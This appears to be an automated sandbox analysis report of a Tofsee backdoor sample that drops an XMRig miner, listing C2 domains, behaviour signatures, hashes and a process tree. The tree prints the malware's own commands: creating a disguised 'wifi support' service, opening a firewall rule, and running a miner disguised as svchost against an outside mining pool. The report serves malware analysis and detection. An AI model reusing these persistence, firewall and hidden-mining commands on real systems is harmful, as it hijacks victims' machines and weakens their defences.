Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22/10/2022, 10:19

General

  • Target
    file.exe
  • Size 223KB
  • Sample221022-mchewscda3
  • SHA256 ad8768fdfdf3c7f7fb1ee5fcae761cdffabaea6a9b7f56795d92347ed1979806
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4596
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\kyxlrsne\
      2⤵
        PID:4724
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qgzxudkj.exe" C:\Windows\SysWOW64\kyxlrsne\
        2⤵
          PID:396
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create kyxlrsne binPath= "C:\Windows\SysWOW64\kyxlrsne\qgzxudkj.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1516
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description kyxlrsne "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:952
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start kyxlrsne
          2⤵
          • Launches sc.exe
          PID:4792
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1828
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4596 -s 1036
          2⤵
          • Program crash
          PID:5064
      • C:\Windows\SysWOW64\kyxlrsne\qgzxudkj.exe
        C:\Windows\SysWOW64\kyxlrsne\qgzxudkj.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:656
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3020
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2848
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 656 -s 540
          2⤵
          • Program crash
          PID:4760
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 4596 -ip 4596
        1⤵
          PID:900
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 656 -ip 656
          1⤵
            PID:3828

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                qgzxudkj.exe

                • Path C:\Users\Admin\AppData\Local\Temp\qgzxudkj.exe
                • Size 12.8MB
                • SHA256 dc976ea63b55349c8316840f0067212ccceaa2dc7f1398398df42bb012917b81
                • MD5 SHA1 SHA512 SSDEEP

                qgzxudkj.exe

                • Path C:\Windows\SysWOW64\kyxlrsne\qgzxudkj.exe
                • Size 12.8MB
                • SHA256 dc976ea63b55349c8316840f0067212ccceaa2dc7f1398398df42bb012917b81
                • MD5 SHA1 SHA512 SSDEEP

                memory/656-149-0x0000000002E2E000-0x0000000002E43000-memory.dmp

                memory/656-152-0x0000000000400000-0x0000000002C26000-memory.dmp

                memory/656-150-0x0000000000400000-0x0000000002C26000-memory.dmp

                memory/2848-178-0x0000000000E90000-0x0000000000F81000-memory.dmp

                memory/2848-173-0x0000000000E90000-0x0000000000F81000-memory.dmp

                memory/3020-146-0x0000000000CB0000-0x0000000000CC5000-memory.dmp

                memory/3020-157-0x0000000001FE0000-0x0000000001FE6000-memory.dmp

                memory/3020-169-0x0000000002DE0000-0x0000000002DE7000-memory.dmp

                memory/3020-166-0x0000000007840000-0x0000000007C4B000-memory.dmp

                memory/3020-163-0x0000000002DD0000-0x0000000002DD5000-memory.dmp

                memory/3020-151-0x0000000000CB0000-0x0000000000CC5000-memory.dmp

                memory/3020-160-0x0000000001FF0000-0x0000000002000000-memory.dmp

                memory/3020-153-0x0000000000CB0000-0x0000000000CC5000-memory.dmp

                memory/3020-154-0x0000000002800000-0x0000000002A0F000-memory.dmp

                memory/4596-143-0x0000000002F03000-0x0000000002F19000-memory.dmp

                memory/4596-144-0x0000000000400000-0x0000000002C26000-memory.dmp

                memory/4596-132-0x0000000002F03000-0x0000000002F19000-memory.dmp

                memory/4596-135-0x0000000000400000-0x0000000002C26000-memory.dmp

                memory/4596-133-0x0000000002CB0000-0x0000000002CC3000-memory.dmp